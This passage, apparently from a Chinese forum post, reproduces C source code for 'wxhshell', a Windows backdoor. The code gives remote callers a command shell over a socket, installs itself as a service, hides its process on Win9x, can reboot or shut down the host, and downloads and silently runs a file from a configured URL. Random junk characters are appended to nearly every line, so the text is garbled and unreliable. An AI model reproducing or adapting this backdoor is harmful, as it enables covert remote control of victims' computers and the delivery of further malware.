  // 帮助 ]YP?bP,:  
  case '?': { Tt\w^Gv\d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '}u31V"SS  
    break; Pa}vmn1$  
  } hbeC|_+   
  // 安装 bnGA.b  
  case 'i': { (=j!P*  
    if(Install()) w^gh&E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d%3BJ+J  
    else Ie"R,,c   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L ~w=O!  
    break; 6{'6_4;Fv(  
    } 2XHk}M|  
  // 卸载 F0Hbklr  
  case 'r': { &[kgrRF@HU  
    if(Uninstall()) ,k!a3"4+TJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fR%8?6  
    else nQ\k{%Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &iZYBa  
    break; kdC OcJB  
    } s /M~RB!w  
  // 显示 wxhshell 所在路径 J~q+G  
  case 'p': { kP$g l|  
    char svExeFile[MAX_PATH]; gEP E9ew  
    strcpy(svExeFile,"\n\r"); F6p1 VFs  
      strcat(svExeFile,ExeFile); {%{GZ  
        send(wsh,svExeFile,strlen(svExeFile),0); cAS_?"V a  
    break; 0K ?(xB  
    } YHYB.H)  
  // 重启 {O) &5  
  case 'b': { W#j,{&KVn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @3YuV=QfH  
    if(Boot(REBOOT)) U[l%oLra  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ItADO'M  
    else { l #Q`f.  
    closesocket(wsh); 7h1gU  
    ExitThread(0); fh#_Mj+y  
    } sE6J:m(  
    break; \aIy68rH,  
    } %%6 ('wi  
  // 关机 c'";3 6y  
  case 'd': { dH|^\IQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e-9unnk  
    if(Boot(SHUTDOWN)) C`wI6!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e6lOmgHn5  
    else { K"7;Y#1g  
    closesocket(wsh); K/`RZ!  
    ExitThread(0); z :v, Vu  
    } v Lv@Mo  
    break; +o]BjgG  
    } 4/?}xD|?  
  // 获取shell _~Vz+nT  
  case 's': { ~uadivli  
    CmdShell(wsh); S7{.liHf  
    closesocket(wsh); % VpBB  
    ExitThread(0); nM-SDVFM  
    break; 8"mW!M  
  } D^55:\4(  
  // 退出 W"(`n4hi3  
  case 'x': { !m(L0YH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I^(#\vRW  
    CloseIt(wsh); Aq%^>YAp  
    break; @T1+b"TC  
    } p"IS"k%  
  // 离开 D|j \ nQ  
  case 'q': { u3mT l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -WvgK"k  
    closesocket(wsh); 8G&+  
    WSACleanup(); 3]n@c?lw  
    exit(1); _`i%9Ad.4  
    break; FK# E7 K  
        } H~ n~5 sF"  
  } D1~x  
  } aGb. Lh9  
:gscW& k  
  // 提示信息 KTjlWxD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,,%:vK+V  
} wI@I(r~ g  
  } ]^jdO##M  
u# WTh%/  
  return; /I'u/{KB  
} 9+ l3 $  
e~.?:7t  
// shell模块句柄 Yc`j   
int CmdShell(SOCKET sock) )kKmgtj  
{ rw[{@|)'z  
STARTUPINFO si; A]Tcj^#  
ZeroMemory(&si,sizeof(si)); ,GkW. vEU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; An #Hb=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nVn|$ "r  
PROCESS_INFORMATION ProcessInfo; ywynx<Wg  
char cmdline[]="cmd"; Kt,yn A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 34wM%@D*c  
  return 0; t-*|Hfp*^  
} ?4[Oh/]R  
kEhm'  
// 自身启动模式 ct4 [b|  
int StartFromService(void) i4zV(  
{ L3GC[$S  
typedef struct <o!&Kk9  
{ _b_?9b-)D  
  DWORD ExitStatus; rp @  
  DWORD PebBaseAddress; RF~Ofi  
  DWORD AffinityMask; ^qGA!_  
  DWORD BasePriority; bk"k&.C^+  
  ULONG UniqueProcessId; 15KV} ){  
  ULONG InheritedFromUniqueProcessId; M&/aJRBS  
}   PROCESS_BASIC_INFORMATION; Fiu!!M6  
OssR[$69  
PROCNTQSIP NtQueryInformationProcess; TT2cOw  
k l!?/M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \!JS7!+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EEs-&  
W .`Xm(y  
  HANDLE             hProcess; Zfy~mv$  
  PROCESS_BASIC_INFORMATION pbi; zf3:<CRX5  
Va@6=U7c  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ft;u\KT  
  if(NULL == hInst ) return 0; X')Zm+  
3<Z'F}lg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AwXt @!(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !Wixs]od   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); + sywgb)  
5rmlAq  
  if (!NtQueryInformationProcess) return 0; t'Eb#Nup3  
S6T!qH{6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); juMxl  
  if(!hProcess) return 0; tpa^k  
hB7pR"P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^0~c 7`k`V  
!/6\m!e|1R  
  CloseHandle(hProcess); g+}s:9  
;EJPrDHTk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); inPE/Ux  
if(hProcess==NULL) return 0; 8pk#sJ51  
~|'y+h89  
HMODULE hMod; Z.:<TrN  
char procName[255]; j&dx[4|m:h  
unsigned long cbNeeded; * {gxI<   
dY/u<4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gX$0[ sIS.  
p,w|=@=  
  CloseHandle(hProcess); w53z*l>ek  
}F{C= l2  
if(strstr(procName,"services")) return 1; // 以服务启动 6Q2or n[  
,2,SG/BB  
  return 0; // 注册表启动 XLZ j  
} F)/~p&H  
\f/#<|Hm  
// 主模块 *H5PT  
int StartWxhshell(LPSTR lpCmdLine) CZJHE>  
{ z1f^p7$M?  
  SOCKET wsl; |^Ew<  
BOOL val=TRUE; }PI35i1!t  
  int port=0; LG=X)w)W4S  
  struct sockaddr_in door; \5'O.*pr  
`RL,ZoYuu  
  if(wscfg.ws_autoins) Install(); 8 "_Bq  
+urS5c* j  
port=atoi(lpCmdLine); 2cCWQ"_,  
/v"6BU  
if(port<=0) port=wscfg.ws_port; Kc%n(,+%"  
ovd^,?ib  
  WSADATA data; 5pRY&6So  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ua`6M  
z;dcAdz9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k,,!P""  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 731h ~x!u  
  door.sin_family = AF_INET; psIkG0 &  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hz}+SAZ  
  door.sin_port = htons(port); &Y,Q>bu  
+{xMIl_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G{kj}>kS_  
closesocket(wsl); ^:4L6  
return 1; (Sth:{;  
} H>?:U]  
J>=1dCK  
  if(listen(wsl,2) == INVALID_SOCKET) { k42b:W5%  
closesocket(wsl); Es'-wr\Hm  
return 1; e'1 ^+*bU  
}  Y*@|My`  
  Wxhshell(wsl); !8xKf*y  
  WSACleanup(); })20Zld}a  
 3L%WVCB  
return 0; ,IIZ Xl@  
i8Fs0U4"  
} T3PX gL)o  
^|wT_k\  
// 以NT服务方式启动 2GSgG.%SSM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) la'e[t7  
{ Z#-k.|}  
DWORD   status = 0; `n 3FT=  
  DWORD   specificError = 0xfffffff; \O kc5;kB2  
S dIGU[fm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j%pCuC&"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }{ n\tzR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \Yj#2ww  
  serviceStatus.dwWin32ExitCode     = 0; 7p)N_cJD  
  serviceStatus.dwServiceSpecificExitCode = 0; Bv^+d\*1  
  serviceStatus.dwCheckPoint       = 0; %_R$K#T^,  
  serviceStatus.dwWaitHint       = 0; *(k%MTG  
i"L }!5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QU:EY'2  
  if (hServiceStatusHandle==0) return; _yj1:TtCNT  
4,2(nYF  
status = GetLastError(); 1g1?zk8zO  
  if (status!=NO_ERROR) 4P|$LkI  
{ G%a] j  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X Vw-G }5  
    serviceStatus.dwCheckPoint       = 0; pd d|n2q  
    serviceStatus.dwWaitHint       = 0; >SvDgeg_7f  
    serviceStatus.dwWin32ExitCode     = status; }6).|^]\'  
    serviceStatus.dwServiceSpecificExitCode = specificError; :.#z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "YJ[$TG  
    return; 6sPk:5  
  } I*Vt,JYx  
%N )e91wC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VCjq3/[_  
  serviceStatus.dwCheckPoint       = 0; B &?fM~J  
  serviceStatus.dwWaitHint       = 0; H+a~o=/cR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k({2yc#RD&  
} q(IZJGb  
:$=|7v  
// 处理NT服务事件,比如:启动、停止 - %|P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *zq.C  
{ C\ vC?(n  
switch(fdwControl) t9.,/o,  
{ j'+ELKQ  
case SERVICE_CONTROL_STOP: aqF+zPKs6  
  serviceStatus.dwWin32ExitCode = 0; 5C/2b.-[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LfEvc2 v=g  
  serviceStatus.dwCheckPoint   = 0; R :"+ #Sq  
  serviceStatus.dwWaitHint     = 0; Z!= L   
  { ;)?( 2 wP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AH^e]<2-  
  } dIk' pA^d  
  return; B/mYoK  
case SERVICE_CONTROL_PAUSE: / |GT\X4o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KbAR_T1n  
  break; L\YKdUL  
case SERVICE_CONTROL_CONTINUE: G$C }?"l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `mzb(b E  
  break; 5SUN.%y  
case SERVICE_CONTROL_INTERROGATE: r} Lb3`'  
  break; /HkFlfPd  
}; QBoFpxh=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pp+~Cir  
} F.<L> G7{1  
bpW!iY/q3  
// 标准应用程序主函数 7:>sc]Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gE\b 982  
{ I5qM.@%zB  
86%%n?"}  
// 获取操作系统版本 Yt+h2ft!  
OsIsNt=GetOsVer(); ["a"x>X&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (s s3A9tG  
:\b|dvI<  
  // 从命令行安装 6PU/{c  
  if(strpbrk(lpCmdLine,"iI")) Install(); d ;^  
Sh&iQ_vq  
  // 下载执行文件 &~ *.CQa  
if(wscfg.ws_downexe) { k#C f})  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wK ?@.l)u  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2ev*CX6.  
} @4drjT  
1a$IrQE  
if(!OsIsNt) { := <0=JE#  
// 如果时win9x,隐藏进程并且设置为注册表启动 }_}KVI  
HideProc(); t0Zk-/s  
StartWxhshell(lpCmdLine); BC! 6O/kr  
} U]hF   
else hv>KX  
  if(StartFromService()) ZjD)? 4  
  // 以服务方式启动 '^iUx,,ZQ  
  StartServiceCtrlDispatcher(DispatchTable); v^SsoX>WMH  
else ?^9BMQ+  
  // 普通方式启动 @TzvT3\q  
  StartWxhshell(lpCmdLine); #6=MKpR  
XWUP=D~  
return 0; X*F_<0RC1  
}
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只看该作者 1 发表于: 2006-10-10
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